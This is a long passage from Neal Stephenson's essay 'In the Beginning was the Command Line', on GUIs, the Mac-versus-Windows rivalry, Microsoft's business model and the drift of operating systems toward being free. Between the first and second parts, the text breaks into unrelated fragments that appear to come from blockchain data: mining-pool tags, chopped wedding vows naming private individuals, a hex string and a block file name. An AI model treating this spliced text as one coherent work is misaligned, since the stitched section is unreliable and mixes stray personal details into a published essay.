the Command Line continued to exist as an underlying stratum--a sort of
brainstem reflex--of many modern computer systems all through the heyday
of Graphical User Interfaces, or GUIs as I will call them from now on.
GUIs
Now the first job that any coder needs to do when writing a new piece
of software is to figure out how to take the information that is being
worked with (in a graphics program, an image; in a spreadsheet, a grid
of numbers) and turn it into a linear string of bytes. These strings of
bytes are commonly called files or (somewhat more hiply) streams. They
are to telegrams what modern humans are to Cro-Magnon man, which is
to say the same thing under a different name. All that you see on your
computer screen--your Tomb Raider, your digitized voice mail messages,
faxes, and word processing documents written in thirty-seven different
typefaces--is still, from the computer's point of view, just like
telegrams, except much longer, and demanding of more arithmetic.
The quickest way to get a taste of this is to fire up your web browser,
visit a site, and then select the View/Document Source menu item. You
will get a bunch of computer code that looks something like this:
<HTML>
<HEAD>
<TITLE> C R Y P T O N O M I C O N</TITLE>
</HEAD>
<BODY BGCOLOR="#000000" LINK="#996600" ALINK="#FFFFFF" VLINK="#663300">
<MAP NAME="navtext">
<AREA SHAPE=RECT HREF="praise.html" COORDS="0,37,84,55">
<AREA SHAPE=RECT HREF="author.html" COORDS="0,59,137,75">
<AREA SHAPE=RECT HREF="text.html" COORDS="0,81,101,96">
<AREA SHAPE=RECT HREF="tour.html" COORDS="0,100,121,117">
<AREA SHAPE=RECT HREF="order.html" COORDS="0,122,143,138">
<AREA SHAPE=RECT HREF="beginning.html" COORDS="0,140,213,157">
</MAP>
<CENTER>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0" WIDTH="520">
<TR>
<TD VALIGN=TOP ROWSPAN="5">
<IMG SRC="images/spacer.gif" WIDTH="30" HEIGHT="1" BORDER="0">
</TD>
<TD VALIGN=TOP COLSPAN="2">
<IMG SRC="images/main_banner.gif" ALT="Cryptonomincon by Neal
Stephenson" WIDTH="479" HEIGHT="122" BORDER="0">
</TD>
</TR>
This crud is called HTML (HyperText Markup Language) and it is basically
a very simple programming language instructing your web browser how to
draw a page on a screen. Anyone can learn HTML and many people do. The
important thing is that no matter what splendid multimedia web pages
they might represent, HTML files are just telegrams.
When Ronald Reagan was a radio announcer, he used to call baseball games
by reading the terse descriptions that trickled in over the telegraph
wire and were printed out on a paper tape. He would sit there, all by
himself in a padded room with a microphone, and the paper tape would
eke out of the machine and crawl over the palm of his hand printed
with cryptic abbreviations. If the count went to three and two, Reagan
would describe the scene as he saw it in his mind's eye: "The brawny
left-hander steps out of the batter's box to wipe the sweat from his
brow. The umpire steps forward to sweep the dirt from home plate." and
so on. When the cryptogram on the paper tape announced a base hit,
he would whack the edge of the table with a pencil, creating a little
sound effect, and describe the arc of the ball as if he could actually
see it. His listeners, many of whom presumably thought that Reagan was
actually at the ballpark watching the game, would reconstruct the scene
in their minds according to his descriptions.
This is exactly how the World Wide Web works: the HTML files are the
pithy description on the paper tape, and your Web browser is Ronald
Reagan. The same is true of Graphical User Interfaces in general.
So an OS is a stack of metaphors and abstractions that stands between
you and the telegrams, and embodying various tricks the programmer used
to convert the information you're working with--be it images, e-mail
messages, movies, or word processing documents--into the necklaces of
bytes that are the only things computers know how to work with. When
we used actual telegraph equipment (teletypes) or their higher-tech
substitutes ("glass teletypes," or the MS-DOS command line) to work with
our computers, we were very close to the bottom of that stack. When
we use most modern operating systems, though, our interaction with
the machine is heavily mediated. Everything we do is interpreted and
translated time and again as it works its way down through all of the
metaphors and abstractions.
The Macintosh OS was a revolution in both the good and bad senses of
that word. Obviously it was true that command line interfaces were not
for everyone, and that it would be a good thing to make computers more
accessible to a less technical audience--if not for altruistic reasons,
then because those sorts of people constituted an incomparably vaster
market. It was clear the the Mac's engineers saw a whole new country
stretching out before them; you could almost hear them muttering,
"Wow! We don't have to be bound by files as linear streams of bytes
anymore, vive la revolution, let's see how far we can take this!" No
command line interface was available on the Macintosh; you talked to it
with the mouse, or not at all. This was a statement of sorts, a credential
of revolutionary purity. It seemed that the designers of the Mac intended
to sweep Command Line Interfaces into the dustbin of history.
My own personal love affair with the Macintosh began in the spring
of 1984 in a computer store in Cedar Rapids, Iowa, when a friend of
mine--coincidentally, the son of the MGB owner--showed me a Macintosh
running MacPaint, the revolutionary drawing program. It ended in July of
1995 when I tried to save a big important file on my Macintosh Powerbook
and instead instead of doing so, it annihilated the data so thoroughly
that two different disk crash utility programs were unable to find
any trace that it had ever existed. During the intervening ten years,
I had a passion for the MacOS that seemed righteous and reasonable at
the time but in retrospect strikes me as being exactly the same sort of
goofy infatuation that my friend's dad had with his car.
The introduction of the Mac triggered a sort of holy war in the computer
world. Were GUIs a brilliant design innovation that made computers more
human-centered and therefore accessible to the masses, leading us toward
an unprecedented revolution in human society, or an insulting bit of
audiovisual gimcrackery dreamed up by flaky Bay Area hacker types that
stripped computers of their power and flexibility and turned the noble
and serious work of computing into a childish video game?
This debate actually seems more interesting to me today than it did in
the mid-1980s. But people more or less stopped debating it when Microsoft
endorsed the idea of GUIs by coming out with the first Windows. At this
point, command-line partisans were relegated to the status of silly old
grouches, and a new conflict was touched off, between users of MacOS
and users of Windows.
There was plenty to argue about. The first Macintoshes looked different
from other PCs even when they were turned off: they consisted of one box
containing both CPU (the part of the computer that does arithmetic on
bits) and monitor screen. This was billed, at the time, as a philosophical
statement of sorts: Apple wanted to make the personal computer into an
appliance, like a toaster. But it also reflected the purely technical
demands of running a graphical user interface. In a GUI machine, the
chips that draw things on the screen have to be integrated with the
computer's central processing unit, or CPU, to a far greater extent than
is the case with command-line interfaces, which until recently didn't
even know that they weren't just talking to teletypes.
This distinction was of a technical and abstract nature, but it
became clearer when the machine crashed (it is commonly the case with
technologies that you can get the best insight about how they work by
watching them fail). When everything went to hell and the CPU began
spewing out random bits, the result, on a CLI machine, was lines and
lines of perfectly formed but random characters on the screen--known to
cognoscenti as "going Cyrillic." But to the MacOS, the screen was not
a teletype, but a place to put graphics; the image on the screen was a
bitmap, a literal rendering of the contents of a particular portion of
the computer's memory. When the computer crashed and wrote gibberish into
the bitmap, the result was something that looked vaguely like static on
a broken television set--a "snow crash."
And even after the introduction of Windows, the underlying differences
endured; when a Windows machine got into trouble, the old command-line
interface would fall down over the GUI like an asbestos fire curtain
sealing off the proscenium of a burning opera. When a Macintosh got into
trouble it presented you with a cartoon of a bomb, which was funny the
first time you saw it.
And these were by no means superficial differences. The reversion of
Windows to a CLI when it was in distress proved to Mac partisans that
Windows was nothing more than a cheap facade, like a garish afghan flung
over a rotted-out sofa. They were disturbed and annoyed by the sense
that lurking underneath Windows' ostensibly user-friendly interface
was--literally--a subtext.
For their part, Windows fans might have made the sour observation that
all computers, even Macintoshes, were built on that same subtext, and
that the refusal of Mac owners to admit that fact to themselves seemed
to signal a willingness, almost an eagerness, to be duped.
Anyway, a Macintosh had to switch individual bits in the memory chips
on the video card, and it had to do it very fast, and in arbitrarily
complicated patterns. Nowadays this is cheap and easy, but in the
technological regime that prevailed in the early 1980s, the only realistic
way to do it was to build the motherboard (which contained the CPU) and
the video system (which contained the memory that was mapped onto the
screen) as a tightly integrated whole--hence the single, hermetically
sealed case that made the Macintosh so distinctive.
When Windows came out, it was conspicuous for its ugliness, and its
current successors, Windows 95 and Windows NT, are not things that people
would pay money to look at either. Microsoft's complete disregard for
aesthetics gave all of us Mac-lovers plenty of opportunities to look down
our noses at them. That Windows looked an awful lot like a direct ripoff
of MacOS gave us a burning sense of moral outrage to go with it. Among
people who really knew and appreciated computers (hackers, in Steven
Levy's non-pejorative sense of that word) and in a few other niches
such as professional musicians, graphic artists and schoolteachers, the
Macintosh, for a while, was simply the computer. It was seen as not only
a superb piece of engineering, but an embodiment of certain ideals about
the use of technology to benefit mankind, while Windows was seen as a
pathetically clumsy imitation and a sinister world domination plot rolled
into one. So very early, a pattern had been established that endures to
this day: people dislike Microsoft, which is okay; but they dislike it
for reasons that are poorly considered, and in the end, self-defeating.
CLASS STRUGGLE ON THE DESKTOP
Now that the Third Rail has been firmly grasped, it is worth reviewing
some basic facts here: like any other publicly traded, for-profit
corporation, Microsoft has, in effect, borrowed a bunch of money from
some people (its stockholders) in order to be in the bit business. As
an officer of that corporation, Bill Gates has one responsibility only,
which is to maximize return on investment. He has done this incredibly
well. Any actions taken in the world by Microsoft-any software released by
them, for example--are basically epiphenomena, which can't be interpreted
or understood except insofar as they reflect Bill Gates's execution of
his one and only responsibility.
It follows that if Microsoft sells goods that are aesthetically
unappealing, or that don't work very well, it does not mean that they
are (respectively) philistines or half-wits. It is because Microsoft's
excellent management has figured out that they can make more money for
their stockholders by releasing stuff with obvious, known imperfections
than they can by making it beautiful or bug-free. This is annoying,
but (in the end) not half so annoying as watching Apple inscrutably and
relentlessly destroy itself.
Hostility towards Microsoft is not difficult to find on the Net,
and it blends two strains: resentful people who feel Microsoft is
too powerful, and disdainful people who think it's tacky. This is all
strongly reminiscent of the heyday of Communism and Socialism, when the
bourgeoisie were hated from both ends: by the proles, because they had
all the money, and by the intelligentsia, because of their tendency to
spend it on lawn ornaments. Microsoft is the very embodiment of modern
high-tech prosperity--it is, in a word, bourgeois--and so it attracts
all of the same gripes.
The opening "splash screen" for Microsoft Word 6.0 summed it up pretty
neatly: when you started up the program you were treated to a picture of
an expensive enamel pen lying across a couple of sheets of fancy-looking
handmade writing paper. It was obviously a bid to make the software look
classy, and it might have worked for some, but it failed for me, because
the pen was a ballpoint, and I'm a fountain pen man. If Apple had done
it, they would've used a Mont Blanc fountain pen, or maybe a Chinese
calligraphy brush. And I doubt that this was an accident. Recently I
spent a while re-installing Windows NT on one of my home computers,
and many times had to double-click on the "Control Panel" icon. For
reasons that are difficult to fathom, this icon consists of a picture of
a clawhammer and a chisel or screwdriver resting on top of a file folder.
These aesthetic gaffes give one an almost uncontrollable urge to make fun
of Microsoft, but again, it is all beside the point--if Microsoft had done
focus group testing of possible alternative graphics, they probably would
have found that the average mid-level office worker associated fountain
pens with effete upper management toffs and was more comfortable with
ballpoints. Likewise, the regular guys, the balding dads of the world who
probably bear the brunt of setting up and maintaining home computers,
can probably relate better to a picture of a clawhammer--while perhaps
harboring fantasies of taking a real one to their balky computers.
This is the only way I can explain certain peculiar facts about the
current market for operating systems, such as that ninety percent of
all customers continue to buy station wagons off the Microsoft lot while
free tanks are there for the taking, right across the street.
A string of ones and zeroes was not a difficult thing for Bill Gates
to distribute, one he'd thought of the idea. The hard part was selling
it--reassuring customers that they were actually getting something in
return for their money.
Anyone who has ever bought a piece of software in a store has had the
curiously deflating experience of taking the bright shrink-wrapped box
home, tearing it open, finding that it's 95 percent air, throwing away
all the little cards, party favors, and bits of trash, and loading the
disk into the computer. The end result (after you've lost the disk) is
nothing except some images on a computer screen, and some capabilities
that weren't there before. Sometimes you don't even have that--you
have a string of error messages instead. But your money is definitely
gone. Now we are almost accustomed to this, but twenty years ago it was
a very dicey business proposition. Bill Gates made it work anyway. He
didn't make it work by selling the best software or offering the cheapest
price. Instead he somehow got people to believe that they were receiving
something in exchange for their money.
The streets of every city in the world are filled with those hulking,
rattling station wagons. Anyone who doesn't own one feels a little weird,
and wonders, in spite of himself, whether it might not be time to cease
resistance and buy one; anyone who does, feels confident that he has
acquired some meaningful possession, even on those days when the vehicle
is up on a lift in an auto repair shop.
All of this is perfectly congruent with membership in the bourgeoisie,
which is as much a mental, as a material state. And it explains why
Microsoft is regularly attacked, on the Net, from both sides. People who
are inclined to feel poor and oppressed construe everything Microsoft does
as some sinister Orwellian plot. People who like to think of themselves
as intelligent and informed technology users are driven crazy by the
clunkiness of Windows.
Nothing is more annoying to sophisticated people to see someone who
is rich enough to know better being tacky--unless it is to realize,
a moment later, that they probably know they are tacky and they simply
don't care and they are going to go on being tacky, and rich, and happy,
forever. Microsoft therefore bears the same relationship to the Silicon
Valley elite as the Beverly Hillbillies did to their fussy banker,
Mr. Drysdale--who is irritated not so much by the fact that the Clampetts
moved to his neighborhood as by the knowledge that, when Jethro is seventy
years old, he's still going to be talking like a hillbilly and wearing
bib overalls, and he's still going to be a lot richer than Mr. Drysdale.
Even the hardware that Windows ran on, when compared to the machines put
out by Apple, looked like white-trash stuff, and still mostly does. The
reason was that Apple was and is a hardware company, while Microsoft was
and is a software company. Apple therefore had a monopoly on hardware that
could run MacOS, whereas Windows-compatible hardware came out of a free
market. The free market seems to have decided that people will not pay
for cool-looking computers; PC hardware makers who hire designers to make
their stuff look distinctive get their clocks cleaned by Taiwanese clone
makers punching out boxes that look as if they belong on cinderblocks
in front of someone's trailer. But Apple could make their hardware as
pretty as they wanted to and simply pass the higher prices on to their
besotted consumers, like me. Only last week (I am writing this sentence
in early Jan. 1999) the technology sections of all the newspapers were
filled with adulatory press coverage of how Apple had released the iMac
in several happenin' new colors like Blueberry and Tangerine.
Apple has always insisted on having a hardware monopoly, except for a
brief period in the mid-1990s when they allowed clone-makers to compete
with them, before subsequently putting them out of business. Macintosh
hardware was, consequently, expensive. You didn't open it up and fool
around with it because doing so would void the warranty. In fact the first
Mac was specifically designed to be difficult to open--you needed a kit of
exotic tools, which you could buy through little ads that began to appear
in the back pages of magazines a few months after the Mac came out on the
market. These ads always had a certain disreputable air about them, like
pitches for lock-picking tools in the backs of lurid detective magazines.
This monopolistic policy can be explained in at least three different
ways.
THE CHARITABLE EXPLANATION is that the hardware monopoly policy reflected
a drive on Apple's part to provide a seamless, unified blending
of hardware, operating system, and software. There is something to
this. It is hard enough to make an OS that works well on one specific
piece of hardware, designed and tested by engineers who work down the
hallway from you, in the same company. Making an OS to work on arbitrary
pieces of hardware, cranked out by rabidly entrepeneurial clonemakers
on the other side of the International Date Line, is very difficult,
and accounts for much of the troubles people have using Windows.
THE FINANCIAL EXPLANATION is that Apple, unlike Microsoft, is and always
has been a hardware company. It simply depends on revenue from selling
hardware, and cannot exist without it.
THE NOT-SO-CHARITABLE EXPLANATION has to do with Apple's corporate
culture, which is rooted in Bay Area Baby Boomdom.
Now, since I'm going to talk for a moment about culture, full disclosure
is probably in order, to protect myself against allegations of conflict
of interest and ethical turpitude: (1) Geographically I am a Seattleite,
of a Saturnine temperament, and inclined to take a sour view of the
Dionysian Bay Area, just as they tend to be annoyed and appalled by
us. (2) Chronologically I am a post-Baby Boomer. I feel that way,
at least, because I never experienced the fun and exciting parts of
the whole Boomer scene--just spent a lot of time dutifully chuckling
at Boomers' maddeningly pointless anecdotes about just how stoned they
got on various occasions, and politely fielding their assertions about
how great their music was. But even from this remove it was possible to
glean certain patterns, and one that recurred as regularly as an urban
legend was the one about how someone would move into a commune populated
by sandal-wearing, peace-sign flashing flower children, and eventually
discover that, underneath this facade, the guys who ran it were actually
control freaks; and that, as living in a commune, where much lip service
was paid to ideals of peace, love and harmony, had deprived them of
normal, socially approved outlets for their control-freakdom, it tended
to come out in other, invariably more sinister, ways.
Applying this to the case of Apple Computer will be left as an exercise
for the reader, and not a very difficult exercise.
It is a bit unsettling, at first, to think of Apple as a control freak,
because it is completely at odds with their corporate image. Weren't
these the guys who aired the famous Super Bowl ads showing suited,
blindfolded executives marching like lemmings off a cliff? Isn't this
the company that even now runs ads picturing the Dalai Lama (except in
Hong Kong) and Einstein and other offbeat rebels?
It is indeed the same company, and the fact that they have been able to
plant this image of themselves as creative and rebellious free-thinkers in
the minds of so many intelligent and media-hardened skeptics really gives
one pause. It is testimony to the insidious power of expensive slick ad
campaigns and, perhaps, to a certain amount of wishful thinking in the
minds of people who fall for them. It also raises the question of why
Microsoft is so bad at PR, when the history of Apple demonstrates that,
by writing large checks to good ad agencies, you can plant a corporate
image in the minds of intelligent people that is completely at odds with
reality. (The answer, for people who don't like Damoclean questions,
is that since Microsoft has won the hearts and minds of the silent
majority--the bourgeoisie--they don't give a damn about having a slick
image, any more then Dick Nixon did. "I want to believe,"--the mantra
that Fox Mulder has pinned to his office wall in The X-Files--applies
in different ways to these two companies; Mac partisans want to believe
in the image of Apple purveyed in those ads, and in the notion that Macs
are somehow fundamentally different from other computers, while Windows
people want to believe that they are getting something for their money,
engaging in a respectable business transaction).
In any event, as of 1987, both MacOS and Windows were out on the market,
running on hardware platforms that were radically different from each
other--not only in the sense that MacOS used Motorola CPU chips while
Windows used Intel, but in the sense--then overlooked, but in the long
run, vastly more significant--that the Apple hardware business was a
rigid monopoly and the Windows side was a churning free-for-all.
But the full ramifications of this did not become clear until very
recently--in fact, they are still unfolding, in remarkably strange ways,
as I'll explain when we get to Linux. The upshot is that millions of
people got accustomed to using GUIs in one form or another. By doing so,
they made Apple/Microsoft a lot of money. The fortunes of many people
have become bound up with the ability of these companies to continue
selling products whose salability is very much open to question.
Mined by f2poolscant
Mined by AntPool sc0
Mined by AntPool bj69
Fund aworldapart.us
ASCRIBESPOOLREGISTER
Zachary Thomas Smith
Jenna Marie Vaziri -
to you, to be your
wife, your best frie
nd, and your home -
just as you are to m
d soul will only ref
lect you from now un
til the end of time.
ul to the Universe f
or aligning every si
ngle thing that has
led up to this momen
is endless and etern
is day forward will
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myself - Zachary Tho
mas Smith - to you,
to be your husband,
your bestfriend, and
your home - just as
ind, body, and soul
will only reflect yo
u from now until the
orever grateful to t
he Universe for alig
ning every single th
ing that has led up
k you for all you do
. I love you and wil
l always be fun abou
3718ff5993adbfa654d5
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"! P2P is future! ppkpub.org->ppk:0R
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"! P2P is future! ppkpub.org->ppk:0R
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File: blk00256.txt
Operation "rakushka" :)
In the Beginning was the Command Line - Part 2/6
HONEY-POT, TAR-PIT, WHATEVER
When Gates and Allen invented the idea of selling software, they ran
into criticism from both hackers and sober-sided businesspeople. Hackers
understood that software was just information, and objected to the idea
of selling it. These objections were partly moral. The hackers were
coming out of the scientific and academic world where it is imperative
to make the results of one's work freely available to the public. They
were also partly practical; how can you sell something that can be easily
copied? Businesspeople, who are polar opposites of hackers in so many
ways, had objections of their own. Accustomed to selling toasters and
insurance policies, they naturally had a difficult time understanding how
a long collection of ones and zeroes could constitute a salable product.
Obviously Microsoft prevailed over these objections, and so did
Apple. But the objections still exist. The most hackerish of all the
hackers, the Ur-hacker as it were, was and is Richard Stallman, who
became so annoyed with the evil practice of selling software that, in
1984 (the same year that the Macintosh went on sale) he went off and
founded something called the Free Software Foundation, which commenced
work on something called GNU. Gnu is an acronym for Gnu's Not Unix,
but this is a joke in more ways than one, because GNU most certainly IS
Unix,. Because of trademark concerns ("Unix" is trademarked by AT&T) they
simply could not claim that it was Unix, and so, just to be extra safe,
they claimed that it wasn't. Notwithstanding the incomparable talent and
drive possessed by Mr. Stallman and other GNU adherents, their project
to build a free Unix to compete against Microsoft and Apple's OSes was
a little bit like trying to dig a subway system with a teaspoon. Until,
that is, the advent of Linux, which I will get to later.
But the basic idea of re-creating an operating system from scratch was
perfectly sound and completely doable. It has been done many times. It
is inherent in the very nature of operating systems.
Operating systems are not strictly necessary. There is no reason why
a sufficiently dedicated coder could not start from nothing with every
project and write fresh code to handle such basic, low-level operations
as controlling the read/write heads on the disk drives and lighting up
pixels on the screen. The very first computers had to be programmed in
this way. But since nearly every program needs to carry out those same
basic operations, this approach would lead to vast duplication of effort.
Nothing is more disagreeable to the hacker than duplication of
effort. The first and most important mental habit that people develop
when they learn how to write computer programs is to generalize,
generalize, generalize. To make their code as modular and flexible as
possible, breaking large problems down into small subroutines that can
be used over and over again in different contexts. Consequently, the
development of operating systems, despite being technically unnecessary,
was inevitable. Because at its heart, an operating system is nothing
more than a library containing the most commonly used code, written once
(and hopefully written well) and then made available to every coder who
needs it.
So a proprietary, closed, secret operating system is a contradiction in
terms. It goes against the whole point of having an operating system. And
it is impossible to keep them secret anyway. The source code--the original
lines of text written by the programmers--can be kept secret. But an OS
as a whole is a collection of small subroutines that do very specific,
very clearly defined jobs. Exactly what those subroutines do has to be
made public, quite explicitly and exactly, or else the OS is completely
useless to programmers; they can't make use of those subroutines if they
don't have a complete and perfect understanding of what the subroutines
do.
The only thing that isn't made public is exactly how the subroutines do
what they do. But once you know what a subroutine does, it's generally
quite easy (if you are a hacker) to write one of your own that does
exactly the same thing. It might take a while, and it is tedious and
unrewarding, but in most cases it's not really hard.
What's hard, in hacking as in fiction, is not writing; it's deciding
what to write. And the vendors of commercial OSes have already decided,
and published their decisions.
This has been generally understood for a long time. MS-DOS was duplicated,
functionally, by a rival product, written from scratch, called ProDOS,
that did all of the same things in pretty much the same way. In other
words, another company was able to write code that did all of the same
things as MS-DOS and sell it at a profit. If you are using the Linux OS,
you can get a free program called WINE which is a windows emulator;
that is, you can open up a window on your desktop that runs windows
programs. It means that a completely functional Windows OS has been
recreated inside of Unix, like a ship in a bottle. And Unix itself,
which is vastly more sophisticated than MS-DOS, has been built up from
scratch many times over. Versions of it are sold by Sun, Hewlett-Packard,
AT&T, Silicon Graphics, IBM, and others.
People have, in other words, been re-writing basic OS code for so
long that all of the technology that constituted an "operating system"
in the traditional (pre-GUI) sense of that phrase is now so cheap and
common that it's literally free. Not only could Gates and Allen not
sell MS-DOS today, they could not even give it away, because much more
powerful OSes are already being given away. Even the original Windows
(which was the only windows until 1995) has become worthless, in that
there is no point in owning something that can be emulated inside of
Linux--which is, itself, free.
In this way the OS business is very different from, say, the car
business. Even an old rundown car has some value. You can use it for
making runs to the dump, or strip it for parts. It is the fate of
manufactured goods to slowly and gently depreciate as they get old and
have to compete against more modern products.
But it is the fate of operating systems to become free.
Microsoft is a great software applications company. Applications--such as
Microsoft Word--are an area where innovation brings real, direct, tangible
benefits to users. The innovations might be new technology straight from
the research department, or they might be in the category of bells and
whistles, but in any event they are frequently useful and they seem to
make users happy. And Microsoft is in the process of becoming a great
research company. But Microsoft is not such a great operating systems
company. And this is not necessarily because their operating systems are
all that bad from a purely technological standpoint. Microsoft's OSes
do have their problems, sure, but they are vastly better than they used
to be, and they are adequate for most people.
Why, then, do I say that Microsoft is not such a great operating systems
company? Because the very nature of operating systems is such that it is
senseless for them to be developed and owned by a specific company. It's
a thankless job to begin with. Applications create possibilities for
millions of credulous users, whereas OSes impose limitations on thousands
of grumpy coders, and so OS-makers will forever be on the shit-list of
anyone who counts for anything in the high-tech world. Applications
get used by people whose big problem is understanding all of their
features, whereas OSes get hacked by coders who are annoyed by their
limitations. The OS business has been good to Microsoft only insofar as it
has given them the money they needed to launch a really good applications
software business and to hire a lot of smart researchers. Now it really
ought to be jettisoned, like a spent booster stage from a rocket. The
big question is whether Microsoft is capable of doing this. Or is it
addicted to OS sales in the same way as Apple is to selling hardware?
Keep in mind that Apple's ability to monopolize its own hardware
supply was once cited, by learned observers, as a great advantage over
Microsoft. At the time, it seemed to place them in a much stronger
position. In the end, it nearly killed them, and may kill them yet. The
problem, for Apple, was that most of the world's computer users ended
up owning cheaper hardware. But cheap hardware couldn't run MacOS,
and so these people switched to Windows.
Replace "hardware" with "operating systems," and "Apple" with "Microsoft"
and you can see the same thing about to happen all over again. Microsoft
dominates the OS market, which makes them money and seems like a great
idea for now. But cheaper and better OSes are available, and they are
growingly popular in parts of the world that are not so saturated with
computers as the US. Ten years from now, most of the world's computer
users may end up owning these cheaper OSes. But these OSes do not, for
the time being, run any Microsoft applications, and so these people will
use something else.
To put it more directly: every time someone decides to use a non-Microsoft
OS, Microsoft's OS division, obviously, loses a customer. But, as things
stand now, Microsoft's applications division loses a customer too. This is
not such a big deal as long as almost everyone uses Microsoft OSes. But
as soon as Windows' market share begins to slip, the math starts to look
pretty dismal for the people in Redmond.
This argument could be countered by saying that Microsoft could simply
re-compile its applications to run under other OSes. But this strategy
goes against most normal corporate instincts. Again the case of Apple
is instructive. When things started to go south for Apple, they should
have ported their OS to cheap PC hardware. But they didn't. Instead,
they tried to make the most of their brilliant hardware, adding new
features and expanding the product line. But this only had the effect
of making their OS more dependent on these special hardware features,
which made it worse for them in the end.
Likewise, when Microsoft's position in the OS world is threatened,
their corporate instincts will tell them to pile more new features into
their operating systems, and then re-jigger their software applications
to exploit those special features. But this will only have the effect of
making their applications dependent on an OS with declining market share,
and make it worse for them in the end.
The operating system market is a death-trap, a tar-pit, a slough of
despond. There are only two reasons to invest in Apple and Microsoft. (1)
each of these companies is in what we would call a co-dependency
relationship with their customers. The customers Want To Believe,
and Apple and Microsoft know how to give them what they want. (2) each
company works very hard to add new features to their OSes, which works
to secure customer loyalty, at least for a little while.
Accordingly, most of the remainder of this essay will be about those
two topics.
THE TECHNOSPHERE
Unix is the only OS remaining whose GUI (a vast suite of code called
the X Windows System) is separate from the OS in the old sense of the
phrase. This is to say that you can run Unix in pure command-line mode
if you want to, with no windows, icons, mouses, etc. whatsoever, and it
will still be Unix and capable of doing everything Unix is supposed to
do. But the other OSes: MacOS, the Windows family, and BeOS, have their
GUIs tangled up with the old-fashioned OS functions to the extent that
they have to run in GUI mode, or else they are not really running. So
it's no longer really possible to think of GUIs as being distinct from
the OS; they're now an inextricable part of the OSes that they belong
to--and they are by far the largest part, and by far the most expensive
and difficult part to create.
There are only two ways to sell a product: price and features. When OSes
are free, OS companies cannot compete on price, and so they compete on
features. This means that they are always trying to outdo each other
writing code that, until recently, was not considered to be part of an
OS at all: stuff like GUIs. This explains a lot about how these companies
behave.
It explains why Microsoft added a browser to their OS, for example. It
is easy to get free browsers, just as to get free OSes. If browsers are
free, and OSes are free, it would seem that there is no way to make money
from browsers or OSes. But if you can integrate a browser into the OS and
thereby imbue both of them with new features, you have a salable product.
Setting aside, for the moment, the fact that this makes government
anti-trust lawyers really mad, this strategy makes sense. At least, it
makes sense if you assume (as Microsoft's management appears to) that the
OS has to be protected at all costs. The real question is whether every
new technological trend that comes down the pike ought to be used as a
crutch to maintain the OS's dominant position. Confronted with the Web
phenomenon, Microsoft had to develop a really good web browser, and they
did. But then they had a choice: they could have made that browser work on
many different OSes, which would give Microsoft a strong position in the
Internet world no matter what happened to their OS market share. Or they
could make the browser one with the OS, gambling that this would make the
OS look so modern and sexy that it would help to preserve their dominance
in that market. The problem is that when Microsoft's OS position begins
to erode (and since it is currently at something like ninety percent,
it can't go anywhere but down) it will drag everything else down with it.
In your high school geology class you probably were taught that all life
on earth exists in a paper-thin shell called the biosphere, which is
trapped between thousands of miles of dead rock underfoot, and cold dead
radioactive empty space above. Companies that sell OSes exist in a sort of
technosphere. Underneath is technology that has already become free. Above
is technology that has yet to be developed, or that is too crazy and
speculative to be productized just yet. Like the Earth's biosphere, the
technosphere is very thin compared to what is above and what is below.
But it moves a lot faster. In various parts of our world, it is possible
to go and visit rich fossil beds where skeleton lies piled upon skeleton,
recent ones on top and more ancient ones below. In theory they go
all the way back to the first single-celled organisms. And if you use
your imagination a bit, you can understand that, if you hang around
long enough, you'll become fossilized there too, and in time some more
advanced organism will become fossilized on top of you.
The fossil record--the La Brea Tar Pit--of software technology is the
Internet. Anything that shows up there is free for the taking (possibly
illegal, but free). Executives at companies like Microsoft must get used
to the experience--unthinkable in other industries--of throwing millions
of dollars into the development of new technologies, such as Web browsers,
and then seeing the same or equivalent software show up on the Internet
two years, or a year, or even just a few months, later.
By continuing to develop new technologies and add features onto their
products they can keep one step ahead of the fossilization process,
but on certain days they must feel like mammoths caught at La Brea,
using all their energies to pull their feet, over and over again, out
of the sucking hot tar that wants to cover and envelop them.
Survival in this biosphere demands sharp tusks and heavy, stomping feet
at one end of the organization, and Microsoft famously has those. But
trampling the other mammoths into the tar can only keep you alive for
so long. The danger is that in their obsession with staying out of
the fossil beds, these companies will forget about what lies above the
biosphere: the realm of new technology. In other words, they must hang
onto their primitive weapons and crude competitive instincts, but also
evolve powerful brains. This appears to be what Microsoft is doing with
its research division, which has been hiring smart people right and left
(Here I should mention that although I know, and socialize with, several
people in that company's research division, we never talk about business
issues and I have little to no idea what the hell they are up to. I have
learned much more about Microsoft by using the Linux operating system
than I ever would have done by using Windows).
Never mind how Microsoft used to make money; today, it is making its money
on a kind of temporal arbitrage. "Arbitrage," in the usual sense, means to
make money by taking advantage of differences in the price of something
between different markets. It is spatial, in other words, and hinges on
the arbitrageur knowing what is going on simultaneously in different
places. Microsoft is making money by taking advantage of differences
in the price of technology in different times. Temporal arbitrage, if I
may coin a phrase, hinges on the arbitrageur knowing what technologies
people will pay money for next year, and how soon afterwards those
same technologies will become free. What spatial and temporal arbitrage
have in common is that both hinge on the arbitrageur's being extremely
well-informed; one about price gradients across space at a given time,
and the other about price gradients over time in a given place.
So Apple/Microsoft shower new features upon their users almost daily,
in the hopes that a steady stream of genuine technical innovations,
combined with the "I want to believe" phenomenon, will prevent their
customers from looking across the road towards the cheaper and better OSes
that are available to them. The question is whether this makes sense in
the long run. If Microsoft is addicted to OSes as Apple is to hardware,
then they will bet the whole farm on their OSes, and tie all of their
new applications and technologies to them. Their continued survival
will then depend on these two things: adding more features to their
OSes so that customers will not switch to the cheaper alternatives,
and maintaining the image that, in some mysterious way, gives those
customers the feeling that they are getting something for their money.
The latter is a truly strange and interesting cultural phenomenon.
THE INTERFACE CULTURE
A few years ago I walked into a grocery store somewhere and was
presented with the following tableau vivant: near the entrance a young
couple were standing in front of a large cosmetics display. The man was
stolidly holding a shopping basket between his hands while his mate raked
blister-packs of makeup off the display and piled them in. Since then I've
always thought of that man as the personification of an interesting human
tendency: not only are we not offended to be dazzled by manufactured
images, but we like it. We practically insist on it. We are eager to
be complicit in our own dazzlement: to pay money for a theme park ride,
vote for a guy who's obviously lying to us, or stand there holding the
basket as it's filled up with cosmetics.
I was in Disney World recently, specifically the part of it called the
Magic Kingdom, walking up Main Street USA. This is a perfect gingerbready
Victorian small town that culminates in a Disney castle. It was very
crowded; we shuffled rather than walked. Directly in front of me was a
man with a camcorder. It was one of the new breed of camcorders where
instead of peering through a viewfinder you gaze at a flat-panel color
screen about the size of a playing card, which televises live coverage
of whatever the camcorder is seeing. He was holding the appliance close
to his face, so that it obstructed his view. Rather than go see a real
small town for free, he had paid money to see a pretend one, and rather
than see it with the naked eye he was watching it on television.
And rather than stay home and read a book, I was watching him.
Americans' preference for mediated experiences is obvious enough, and
